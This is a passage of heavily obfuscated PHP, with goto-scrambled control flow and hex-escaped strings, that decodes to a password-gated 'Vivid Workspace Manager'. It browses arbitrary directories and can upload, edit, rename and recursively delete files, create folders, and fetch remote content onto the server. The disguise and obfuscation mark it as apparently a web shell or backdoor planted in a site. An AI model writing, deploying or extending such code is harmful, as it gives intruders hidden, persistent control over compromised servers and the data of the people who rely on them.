x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x3c\144\x69\166\x20\x63\x6c\x61\x73\x73\75\x22\142\x67\55\x77\150\151\x74\x65\x20\160\55\x38\40\x72\157\165\156\144\x65\144\x2d\x78\x6c\40\x73\150\x61\x64\x6f\167\x2d\x78\x6c\40\x77\55\146\x75\x6c\154\x20\x6d\141\170\55\x77\x2d\155\144\42\x3e\xd\xa\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\74\x68\x32\40\x63\x6c\x61\x73\163\75\42\x74\x65\170\x74\x2d\62\170\x6c\40\146\x6f\x6e\x74\55\142\x6f\x6c\144\40\155\142\55\66\x20\x74\145\170\x74\55\x63\145\156\164\145\x72\x20\164\145\x78\x74\55\x76\x69\166\x69\x64\x2d\143\150\x61\162\x63\157\x61\x6c\42\x3e\x53\145\x63\x75\162\x65\x20\x41\x63\143\x65\163\x73\40\x52\x65\161\x75\151\162\x65\144\x3c\x2f\150\62\x3e\xd\12\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x3c\146\x6f\162\x6d\x20\155\x65\164\x68\157\144\75\x22\x50\x4f\x53\124\x22\76\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\42\150\151\x64\144\x65\156\x22\x20\x6e\141\155\x65\75\42\x63\x73\162\x66\x5f\x74\x6f\x6b\x65\156\x22\40\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($_SESSION["\143\163\162\x66\x5f\164\x6f\x6b\x65\156"]) . "\42\x3e\xd\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\x69\156\160\165\164\40\164\x79\160\x65\x3d\x22\x70\141\163\163\x77\157\162\144\x22\40\x6e\x61\x6d\145\75\42\163\x65\x63\x75\162\145\x5f\x6b\x65\x79\x22\x20\x63\x6c\141\163\163\x3d\42\x77\55\146\x75\154\154\x20\x70\55\x33\40\x62\x6f\162\144\x65\x72\x20\162\157\x75\156\144\x65\144\55\154\147\x20\155\142\x2d\x34\40\x66\x6f\143\x75\x73\x3a\x6f\x75\x74\154\151\156\145\55\x6e\157\156\145\40\x66\x6f\x63\x75\163\72\x72\151\x6e\x67\x2d\x32\40\146\157\143\165\x73\72\162\x69\x6e\147\x2d\166\x69\x76\151\x64\55\164\x65\x61\x6c\42\40\160\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x45\x6e\x74\x65\x72\40\x73\x65\x63\165\162\x65\40\x6b\x65\x79\42\x20\162\x65\161\x75\151\162\x65\144\40\141\165\164\x6f\146\157\143\x75\163\x3e\xd\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\142\165\164\x74\157\x6e\x20\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\143\x6c\x61\x73\163\75\x22\x77\x2d\146\165\154\x6c\40\x62\x67\x2d\166\151\166\x69\x64\x2d\164\145\141\x6c\x20\x74\145\x78\164\x2d\x77\150\x69\x74\x65\x20\x70\55\x33\40\x72\x6f\x75\x6e\x64\x65\x64\x2d\x6c\147\40\150\157\166\x65\162\72\142\147\x2d\166\x69\166\151\144\55\x74\x65\x61\x6c\55\144\141\x72\x6b\x20\164\162\x61\x6e\x73\151\164\x69\x6f\x6e\x22\76\125\156\154\x6f\143\153\74\x2f\x62\165\164\164\157\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\74\x2f\x66\157\162\x6d\76\15\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x3c\57\x64\x69\x76\76\xd\12\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x2f\142\157\144\171\x3e\xd\xa\40\40\40\40\40\40\x20\x20\x20\40\40\x20\74\x2f\x68\164\155\154\x3e\xd\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\40"; goto utItD; mwnF6: GNvyD: goto q3lJ7; mLzqT: $Nu004 = ZNO1r($_POST["\x6e\x65\x77\x5f\156\x61\155\145"]); goto p7raR; pT5Cn: echo shY4q($UyGf4, $RN9dg); goto ltEu3; x7QnY: $XSEgQ = zNO1R(basename($MhPPM)); goto X62I5; ECHTC: $DKH4N = "\x49\x6e\x76\x61\x6c\x69\x64\40\146\151\154\145\x20\x74\171\160\145\x20\157\162\40\x73\x69\172\145\40\x65\x78\x63\x65\145\144\x73\x20\154\x69\x6d\x69\164\x2e"; goto mqeiq; pQHOD: $RN9dg = realpath(__DIR__); goto Xy9nq; LSpRx: $XSEgQ = Zno1r($_POST["\x69\164\145\155\x5f\156\141\x6d\145"]); goto cfqQy; vZeSO: PqdoF: goto U2YH7; A3raI: dKdrD: goto H6_Uh; X174h: if (!(isset($_POST["\141\x64\144\x5f\x64\151\x72\x65\143\164\157\162\x79"]) && !empty($_POST["\x66\x6f\x6c\144\x65\x72\137\156\x61\x6d\x65"]))) { goto VHTWA; } goto CxVnM; tlrMv: $GpDM3 = $_FILES["\165\160\x6c\x6f\141\x64\x65\144\x5f\x69\164\x65\155"]; goto SqQJd; rBbRI: wU4e6: goto QUnki; ltEu3: echo "\x3c\x2f\x6e\x61\166\x3e\xd\xa\xd\xa\40\x20\40\x20\x20\x20\40\40\x3c\x21\55\x2d\40\x41\x6c\x65\162\164\40\115\145\163\163\141\147\x65\40\55\55\x3e\xd\xa\x20\40\40\x20\40\40\x20\x20"; goto kVf3f; H5acy: if ($AUqcU !== false && file_put_contents($l4vH0, $AUqcU) !== false) { goto lu4Ix; } goto QfXRK; Xtn5l: SIh_6: goto r8J0S; QakTV: gWWpv: goto F7tPf; drdzC: if (!(isset($_POST["\162\x65\x6e\x61\x6d\x65\137\x69\x74\x65\x6d"]) && !empty($_POST["\157\x72\x69\147\x69\156\141\154\x5f\x6e\141\x6d\x65"]) && !empty($_POST["\156\145\x77\137\x6e\141\x6d\145"]))) { goto CtH4i; } goto NLGc2; NHwLm: $isu4D = $UyGf4 . "\57" . $P1G3L; goto tZSvJ; UH0Ge: goto un7QD; goto kP7Hi; AoLSc: $DKH4N = "\x45\162\x72\x6f\162\x20\x72\145\156\x61\155\151\x6e\147\x20\151\x74\x65\x6d\x2e"; goto YChaf; YprUx: goto iNVjM; goto vE_v1; FPOV3: if (is_file($xAY2y)) { goto Dk8bd; } goto C3JLD; KwgZJ: $_SESSION["\x63\163\162\146\x5f\164\x6f\153\x65\156"] = bin2hex(random_bytes(32)); goto QakTV; ldA_Q: if (!file_exists($HdMJq)) { goto p398x; } goto x3ezo; B3Ml1: goto fSqKS; goto ri6nJ; GOdpt: function SHy4q($DpTy4, $RN9dg) { goto eEo_o; y_fZO: w1kAA: goto o8uGA; zQ3d6: foreach ($LfFfM as $Ubd_C) { goto HqBbI; glOjn: f2TvR: goto OoYlK; mNd45: $MmBvh[] = "\74\163\160\141\x6e\40\143\154\x61\x73\x73\x3d\42\164\x65\170\164\55\x67\x72\141\x79\x2d\x35\x30\60\42\76" . htmlspecialchars($Ubd_C) . "\74\x2f\163\x70\141\156\76"; goto aEezV; aEezV: goto bF6a9; goto OTopa; TPJvK: bF6a9: goto glOjn; OTopa: Ff0TG: goto enmug; ryloq: if (is_dir($iznt4) && is_readable($iznt4)) { goto Ff0TG; } goto mNd45; HqBbI: $iznt4 .= DIRECTORY_SEPARATOR . $Ubd_C; goto ryloq; enmug: $MmBvh[] = "\74\141\x20\150\162\x65\x66\x3d\42\77\x77\157\162\x6b\163\x70\x61\x63\x65\75" . urlencode($iznt4) . "\42\40\x63\x6c\141\163\163\75\x22\164\x65\170\x74\x2d\x76\x69\x76\151\144\55\164\145\141\x6c\x20\150\x6f\x76\145\162\x3a\x75\x6e\x64\x65\x72\x6c\151\156\x65\42\76" . htmlspecialchars($Ubd_C) . "\x3c\57\141\x3e"; goto TPJvK; OoYlK: } goto y_fZO; hwU6K: $MmBvh = []; goto eBGHN; eBGHN: $iznt4 = $RN9dg; goto WzkIu; vsRGl: ENrcV: goto l9FwI; o8uGA: return implode("\x20\74\163\160\x61\x6e\40\143\154\141\163\x73\x3d\42\x74\145\170\164\x2d\166\x69\166\x69\x64\55\x63\x68\141\x72\x63\157\141\x6c\40\x6d\x78\x2d\x31\x22\x3e\57\x3c\x2f\x73\x70\141\x6e\76\40", $MmBvh); goto UuSMg; l9FwI: $HwrKY = substr($DpTy4, strlen($RN9dg)); goto Tgksx; Tgksx: $LfFfM = array_filter(explode(DIRECTORY_SEPARATOR, $HwrKY)); goto hwU6K; WzkIu: $MmBvh[] = "\74\141\40\150\x72\x65\146\75\x22\x3f\x77\x6f\x72\153\x73\x70\141\143\145\x3d" . urlencode($RN9dg) . "\x22\40\x63\154\x61\x73\x73\x3d\x22\x74\x65\170\164\55\x76\x69\x76\151\x64\55\x74\x65\x61\154\x20\150\157\166\x65\x72\72\165\x6e\x64\x65\162\x6c\151\x6e\145\x20\146\x6f\156\x74\55\163\x65\155\x69\x62\157\x6c\144\x22\76\122\157\157\x74\74\x2f\141\x3e"; goto zQ3d6; eEo_o: if (!(strpos($DpTy4, $RN9dg) !== 0)) { goto ENrcV; } goto z1LGy; z1LGy: return "\x3c\163\160\141\x6e\x20\x63\154\x61\163\163\75\x22\164\x65\170\164\x2d\162\x65\x64\55\x35\x30\x30\42\x3e\x49\156\166\141\154\151\x64\x20\160\x61\164\x68\x3c\57\x73\x70\141\x6e\x3e"; goto vsRGl; UuSMg: } goto o_YuU; GqDdp: $DKH4N = $bwxdH ? "\106\157\154\144\x65\x72\40\x64\145\x6c\145\x74\x65\x64\40\x73\x75\x63\143\x65\x73\x73\146\165\154\154\x79\x2e" : "\105\x72\162\x6f\x72\x20\x64\x65\x6c\x65\164\x69\156\147\40\146\x6f\x6c\x64\145\162\56"; goto XYIgS; xjUUI: if (password_verify($_POST["\163\145\143\165\x72\145\137\x6b\145\171"], $WGk33)) { goto RzJMB; } goto aTPSO; OY6E3: goto rwOYV; goto xNcuq; lJkdx: Dk8bd: goto Kv3l1; jqJC3: $st1pL = true; goto j5f23; eIgbM: goto EWOGW; goto Hfcg3; tZSvJ: if (!is_dir($isu4D)) { goto mNuwv; } goto G3_fu; HF3ib: $DKH4N = "\106\x69\x6c\145\x20\x75\160\x64\x61\x74\145\x64\x20\x73\x75\x63\x63\145\x73\163\146\165\154\154\171\x2e"; goto JVO84; PqAGu: pTXEj: goto N1kwB; C3JLD: goto U9GL6; goto scU2Z; D6OVg: $DKH4N = "\111\x6e\166\x61\x6c\151\x64\40\x73\x6f\165\x72\143\x65\40\157\162\x20\x64\145\163\164\151\156\x61\164\x69\x6f\x6e\40\156\x61\x6d\145\56"; goto Qm7yr; kVf3f: if (!isset($DKH4N)) { goto zYkoR; } goto y3iPX; NLGc2: $BOKAQ = ZnO1r($_POST["\x6f\x72\x69\x67\x69\x6e\x61\x6c\x5f\156\141\x6d\x65"]); goto mLzqT; RKRBc: echo htmlspecialchars($_SESSION["\x63\163\x72\x66\137\x74\157\x6b\145\156"]); goto K2rz_; joBYM: x2JdP: goto mjAZx; iZjRM: $aBnyl = true; goto dP3kX; Zrf0Y: SGPJe: goto bc2im; AM5Ni: goto s77P6; goto gh_lz; XYIgS: goto U9GL6; goto lJkdx; VagIK: P7qdn: goto drdzC; o_YuU: function AIQPu($dKtL0) { goto bOeJ4; YEf3F: foreach (scandir($dKtL0) as $Ei6vG) { goto U4Kq2; TE_ig: pN2fY: goto GSXPG; u_a41: goto pN2fY; goto Wy0vp; grLG0: VTgyb: goto TE_ig; JYICJ: return false; goto grLG0; U4Kq2: if (!($Ei6vG == "\56" || $Ei6vG == "\x2e\x2e")) { goto i0shn; } goto u_a41; DfVHb: if (AIqPU($dKtL0 . "\57" . $Ei6vG)) { goto VTgyb; } goto JYICJ; Wy0vp: i0shn: goto DfVHb; GSXPG: } goto Tbnu6; bOeJ4: if (file_exists($dKtL0)) { goto vuAKQ; } goto cjbcU; lslRh: return unlink($dKtL0); goto FlyTq; FlyTq: OH2yM: goto YEf3F; YI_0v: vuAKQ: goto dqPvG; dqPvG: if (is_dir($dKtL0)) { goto OH2yM; } goto lslRh; Tbnu6: VJzh3: goto krihY; krihY: return rmdir($dKtL0); goto oTaSd; cjbcU: return true; goto YI_0v; oTaSd: } goto npAQS; KxLIM: TGOcS: goto g9sUN; wDVmV: echo htmlspecialchars($_SESSION["\143\x73\x72\x66\137\x74\157\153\x65\156"]); goto RkyCs; I6oBt: function AvBxS($fQKS1) { goto zkBzL; hE0mC: return number_format($fQKS1 / 1073741824, 2) . "\40\107\102"; goto UIHRn; t49pK: qqAk6: goto AHK69; UIHRn: fLflo: goto vCzP8; AHK69: return $fQKS1 . "\40\x62\x79\x74\x65\x73"; goto DXd5s; zkBzL: if (!($fQKS1 >= 1073741824)) { goto fLflo; } goto hE0mC; Sap5F: return number_format($fQKS1 / 1024, 2) . "\40\x4b\102"; goto t49pK; B9gnc: if (!($fQKS1 >= 1024)) { goto qqAk6; } goto Sap5F; vCzP8: if (!($fQKS1 >= 1048576)) { goto xrOPx; } goto gpwA8; gpwA8: return number_format($fQKS1 / 1048576, 2) . "\40\115\x42"; goto fjnfC; fjnfC: xrOPx: goto B9gnc; DXd5s: } goto GOdpt; ExL01: foreach ($v7WxV as $Ei6vG) { goto IRhpu; WrC05: ePw0s: goto lTI2n; HJO_4: a1puK: goto Tpr2T; GRpY2: $RKVRy[] = $Ei6vG; goto LR_0i; FAKVe: goto BB1jS; goto z6h7o; XDEUF: goto ePw0s; goto HJO_4; LR_0i: BB1jS: goto WrC05; cXVBQ: $M1ewI[] = $Ei6vG; goto FAKVe; z6h7o: qj_59: goto GRpY2; Tpr2T: $xAY2y = $UyGf4 . "\x2f" . $Ei6vG; goto n754H; n754H: if (is_dir($xAY2y)) { goto qj_59; } goto cXVBQ; IRhpu: if (!($Ei6vG === "\x2e" || $Ei6vG === "\56\x2e")) { goto a1puK; } goto XDEUF; lTI2n: } goto KxLIM; Jhmnc: if (rename($Cc3_N, $N1y8k)) { goto Sv1yi; } goto AoLSc; lhRVK: foreach ($RKVRy as $pbEsz) { goto DrSWy; Mk0DM: echo htmlspecialchars($pbEsz); goto suB9R; qJH3K: echo is_writable($UyGf4 . "\57" . $pbEsz) ? "\131\x65\163" : "\x4e\x6f"; goto Xp9c9; suB9R: echo "\47\x29\x22\x20\x63\x6c\141\x73\163\75\42\x62\x67\55\x72\145\144\x2d\65\60\60\40\164\x65\x78\x74\x2d\167\150\151\164\x65\x20\x70\170\55\63\40\160\x79\55\61\40\162\157\165\x6e\x64\x65\144\x2d\154\x67\x20\x68\157\x76\x65\162\72\142\147\55\x72\145\144\x2d\x36\60\60\x20\166\x69\166\151\144\x2d\x74\162\x61\x6e\163\x69\x74\x69\x6f\156\x22\76\104\145\x6c\x65\164\145\x3c\57\x62\x75\164\164\157\156\76\15\xa\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x3c\57\164\x64\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x3c\x2f\x74\162\x3e\15\12\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20"; goto Zsxs3; XoWB3: echo htmlspecialchars($pbEsz); goto WPqgH; Zsxs3: Ncchf: goto BrSWK; xrN3w: echo urlencode($UyGf4 . "\57" . $pbEsz); goto sfYvD; Xp9c9: echo "\x3c\57\164\144\76\xd\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\74\164\144\40\x63\154\141\163\x73\75\x22\x70\55\64\x22\76"; goto hqXAb; qvI6f: echo "\74\x2f\164\x64\76\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\74\164\144\x20\143\154\141\163\x73\75\x22\160\55\64\x20\163\x70\x61\143\145\x2d\170\55\x33\x22\x3e\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\74\x62\x75\164\x74\157\x6e\40\157\156\143\x6c\x69\143\153\75\x22\157\x70\145\156\122\x65\x6e\141\155\145\x44\x69\141\154\x6f\x67\x28\47"; goto XoWB3; WPqgH: echo "\47\x29\42\40\143\x6c\x61\163\x73\x3d\x22\142\147\55\x79\145\x6c\154\x6f\x77\x2d\65\60\60\x20\164\x65\x78\164\x2d\167\x68\x69\x74\x65\40\160\170\x2d\x33\x20\160\x79\55\61\x20\162\x6f\165\x6e\144\145\144\55\x6c\147\x20\x68\157\x76\x65\162\72\142\147\x2d\x79\145\154\154\x6f\167\x2d\x36\x30\x30\x20\x76\151\166\x69\144\x2d\164\x72\x61\x6e\x73\151\164\x69\157\x6e\x22\x3e\122\145\156\141\155\145\x3c\57\x62\165\164\x74\157\x6e\76\15\xa\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x3c\x62\x75\164\164\157\x6e\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x63\157\156\x66\151\162\155\104\145\x6c\x65\164\x65\x28\x27"; goto Mk0DM; sfYvD: echo "\42\40\x63\x6c\x61\163\163\x3d\42\164\145\x78\x74\x2d\166\x69\166\151\x64\x2d\x74\145\141\x6c\x20\150\157\166\145\x72\x3a\165\156\144\145\x72\154\151\156\x65\x22\76"; goto qA5YY; DrSWy: echo "\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x3c\164\x72\40\x63\154\141\163\x73\x3d\x22\x62\x6f\162\144\145\x72\55\164\40\x68\157\166\x65\x72\72\142\147\x2d\x67\x72\x61\x79\55\x35\x30\40\166\x69\166\151\x64\55\164\x72\x61\x6e\163\151\164\x69\157\156\42\76\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x3c\164\144\x20\x63\154\x61\163\163\75\42\x70\55\x34\x22\x3e\x3c\151\x20\x63\154\x61\163\163\75\42\x66\x61\163\x20\x66\141\x2d\x66\157\154\144\145\x72\x20\155\162\x2d\62\x20\164\x65\x78\164\55\166\151\x76\151\144\55\x74\145\x61\x6c\x22\76\74\x2f\151\x3e\74\x61\x20\x68\162\x65\x66\75\42\x3f\167\x6f\162\153\x73\x70\x61\143\145\75"; goto xrN3w; LV4k_: echo "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\15\xa\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\74\164\144\x20\x63\154\x61\x73\x73\x3d\42\160\55\x34\x22\76\106\157\154\144\145\x72\x3c\57\164\x64\76\xd\12\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\74\164\144\40\143\154\141\x73\x73\x3d\42\160\x2d\x34\x22\x3e\x2d\x3c\x2f\164\x64\x3e\15\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x3c\x74\x64\x20\143\x6c\x61\x73\x73\75\42\x70\55\x34\x22\x3e"; goto qJH3K; qA5YY: echo htmlspecialchars($pbEsz); goto LV4k_; hqXAb: echo date("\x59\x2d\155\x2d\x64\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $pbEsz)); goto qvI6f; BrSWK: } goto HrspV; V83w2: echo htmlspecialchars($_SESSION["\x63\x73\x72\x66\x5f\x74\x6f\x6b\145\x6e"]); goto OZfTN; B39ub: if (mkdir($isu4D, 0755)) { goto JKhRB; } goto zjQfB; scU2Z: v029G: goto ugX0X; nAVlY: fSqKS: goto joBYM; Conu0: goto SIh_6; goto EMeQw; ZGMPl: $f5xwD = realpath($_GET["\167\x6f\162\153\x73\x70\141\143\145"] . "\57" . $_GET["\151\164\x65\x6d"]); goto pIIY_; zjQfB: $DKH4N = "\x46\x61\x69\154\145\144\40\x74\x6f\40\143\x72\145\x61\x74\145\x20\146\157\x6c\x64\x65\162\x2e"; goto rAymK; Ucrww: $HcnX3->close(); goto LXZOP; MKafv: echo "\x22\x3e\15\12\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\x74\x20\x74\171\160\145\x3d\42\x66\x69\154\145\42\x20\x6e\141\x6d\145\x3d\x22\x75\160\154\x6f\141\144\x65\x64\137\151\164\x65\x6d\x22\40\x63\x6c\141\163\163\x3d\42\x66\x6c\145\x78\x2d\61\x20\160\55\63\x20\142\x6f\x72\144\145\x72\x20\x72\x6f\165\156\144\145\x64\x2d\x6c\147\x22\40\x72\145\x71\x75\151\x72\x65\144\76\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\74\142\x75\x74\164\157\x6e\40\x74\x79\160\145\75\42\x73\x75\142\x6d\x69\164\x22\40\x63\154\141\163\x73\x3d\42\x62\x67\55\x76\151\x76\151\144\x2d\x74\145\141\x6c\40\x74\x65\170\x74\x2d\167\150\x69\x74\145\x20\x70\x2d\x33\x20\x72\x6f\x75\x6e\144\x65\144\55\154\147\x20\150\157\166\145\162\72\x62\x67\x2d\166\x69\166\151\144\55\x74\145\141\154\x2d\x64\x61\x72\x6b\x20\x76\x69\166\151\x64\x2d\x74\162\141\x6e\x73\151\x74\x69\x6f\x6e\x22\76\125\160\154\x6f\141\144\74\x2f\x62\165\x74\x74\157\156\x3e\15\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\74\57\x66\157\x72\x6d\x3e\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\76\15\xa\15\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x3c\41\x2d\55\40\x46\x65\x74\x63\x68\40\x52\x65\155\x6f\x74\145\40\111\x74\145\x6d\40\55\55\x3e\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20"; goto I43Nl; YNA75: if (!(isset($_POST["\x6d\x6f\x64\x69\x66\171\137\146\151\x6c\145"]) && !empty($_POST["\x69\x74\x65\155\137\156\x61\x6d\145"]))) { goto yHBos; } goto i0Qo7; cfqQy: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto xAZme; MELp7: $HcnX3->close(); goto U2HJ2; r8J0S: TNzCi: goto TaXVZ; sskkE: echo "\x22\x20\x63\154\x61\163\x73\75\42\x74\145\170\x74\55\166\x69\x76\151\x64\55\164\145\x61\154\40\150\x6f\x76\x65\162\72\x75\x6e\144\x65\162\154\x69\x6e\x65\x22\x3e\x2e\56\40\x28\120\141\162\145\x6e\164\x20\x57\157\162\153\x73\x70\x61\x63\145\x29\x3c\x2f\x61\76\x3c\x2f\164\144\76\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\74\164\x64\x20\143\154\141\x73\x73\x3d\x22\160\x2d\64\x22\76\x2d\74\x2f\164\x64\x3e\xd\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\164\144\x20\143\x6c\x61\x73\163\x3d\x22\160\x2d\64\42\x3e\55\x3c\x2f\x74\144\x3e\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x74\x64\40\143\154\141\163\x73\x3d\42\x70\x2d\x34\x22\x3e\x2d\74\57\x74\144\x3e\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\74\164\144\x20\143\154\141\163\x73\x3d\x22\160\x2d\x34\x22\x3e\55\74\57\x74\144\x3e\15\12\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\74\164\x64\x20\x63\x6c\141\x73\163\75\42\160\x2d\x34\x22\x3e\74\57\x74\x64\x3e\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\162\76\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20"; goto Zrf0Y; mU9_h: s77P6: goto HJ2Jy; npAQS: echo "\xd\xa\x3c\x21\104\x4f\103\x54\131\x50\105\40\x68\x74\x6d\154\x3e\15\12\x3c\150\x74\155\154\x20\154\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\12\74\x68\145\141\x64\x3e\xd\12\x20\x20\x20\x20\74\x6d\x65\164\141\40\x63\x68\141\x72\x73\145\x74\75\x22\125\x54\106\x2d\70\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\145\164\x61\x20\156\x61\155\145\x3d\x22\166\151\145\167\160\157\x72\x74\42\x20\143\157\156\164\x65\x6e\164\75\x22\x77\151\x64\x74\x68\75\x64\145\x76\x69\x63\x65\55\x77\151\144\x74\x68\x2c\40\151\x6e\151\x74\x69\141\x6c\x2d\x73\x63\x61\x6c\x65\75\x31\56\x30\x22\x3e\15\xa\x20\40\40\40\x3c\x74\x69\x74\154\145\76\x56\x69\166\151\x64\x20\x57\157\162\153\x73\160\x61\143\x65\40\115\x61\156\141\147\x65\x72\x3c\57\164\x69\164\x6c\145\76\15\12\40\40\40\40\x3c\163\143\x72\x69\160\x74\x20\163\x72\143\x3d\42\x68\164\x74\x70\163\72\x2f\x2f\x63\144\156\x2e\164\141\x69\154\x77\x69\x6e\144\x63\163\x73\x2e\143\157\x6d\42\x3e\x3c\57\163\x63\162\x69\160\x74\76\15\12\40\40\40\40\x3c\163\143\x72\151\160\164\x20\x73\x72\x63\x3d\x22\150\164\x74\160\x73\x3a\x2f\x2f\x6b\151\164\56\x66\x6f\x6e\x74\x61\x77\145\x73\157\x6d\145\56\143\x6f\155\57\x61\x30\x37\x36\144\x30\65\x33\71\71\56\x6a\163\42\40\143\x72\157\163\x73\x6f\x72\x69\x67\x69\156\75\x22\x61\156\x6f\156\171\155\157\165\x73\x22\76\74\57\x73\143\x72\151\x70\164\x3e\xd\xa\x20\40\40\40\x3c\163\x74\x79\154\x65\x3e\15\12\x20\40\x20\40\x20\40\40\40\x2e\142\x67\x2d\x76\x69\x76\x69\144\55\x73\x6c\141\164\x65\x20\x7b\x20\x62\x61\x63\153\x67\x72\157\x75\156\x64\x2d\143\157\x6c\x6f\x72\72\40\43\x65\x32\x65\x38\x66\60\x3b\x20\x7d\xd\12\x20\x20\x20\40\40\x20\40\40\56\x62\x67\55\166\x69\166\x69\144\55\164\145\x61\154\40\173\x20\x62\141\x63\x6b\147\162\157\165\x6e\x64\55\x63\x6f\154\157\162\72\40\x23\61\x34\142\x38\x61\66\x3b\40\x7d\xd\xa\x20\40\x20\40\40\x20\x20\x20\56\142\x67\55\166\151\x76\151\x64\55\x74\145\x61\154\x2d\144\141\x72\153\40\x7b\40\x62\141\143\153\147\x72\x6f\x75\x6e\144\55\x63\157\154\x6f\162\72\x20\43\60\146\67\x36\x36\x65\73\40\175\xd\12\40\40\x20\40\x20\40\40\x20\x2e\164\145\x78\164\55\166\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\x6c\40\x7b\x20\x63\157\154\x6f\x72\x3a\40\x23\x31\61\x31\70\x32\x37\x3b\40\x7d\xd\xa\x20\x20\40\x20\x20\40\40\x20\x2e\166\151\166\x69\x64\55\x74\162\141\x6e\163\x69\164\151\157\x6e\40\x7b\x20\164\162\141\x6e\163\151\x74\151\157\x6e\72\40\x61\154\154\40\60\x2e\63\163\40\x65\141\x73\145\x2d\x69\156\x2d\157\x75\x74\73\x20\175\15\xa\40\40\x20\40\x20\x20\40\40\x2e\x76\151\x76\x69\x64\55\x68\x6f\x76\x65\162\40\x7b\40\x74\x72\x61\x6e\x73\151\x74\151\x6f\x6e\x3a\x20\164\162\x61\x6e\x73\x66\157\x72\x6d\40\60\x2e\x32\x73\54\x20\142\157\x78\x2d\163\x68\141\144\157\167\x20\60\56\x32\x73\73\40\175\15\xa\40\40\x20\40\x20\40\40\40\x2e\166\x69\x76\x69\144\55\150\157\x76\145\x72\x3a\x68\157\166\145\162\40\x7b\x20\164\162\x61\156\163\146\157\162\155\x3a\x20\x74\162\x61\156\163\154\141\x74\x65\x59\x28\55\62\x70\x78\x29\x3b\40\x62\x6f\170\x2d\x73\150\141\x64\157\x77\x3a\x20\x30\x20\64\160\170\40\x36\160\x78\40\162\147\x62\141\50\x30\x2c\x20\x30\x2c\40\x30\54\x20\x30\56\61\51\x3b\40\x7d\xd\xa\40\40\x20\40\x20\x20\40\40\56\x73\x74\151\x63\x6b\171\55\x68\x65\141\x64\x65\162\40\164\x68\x20\x7b\40\160\x6f\x73\151\164\x69\157\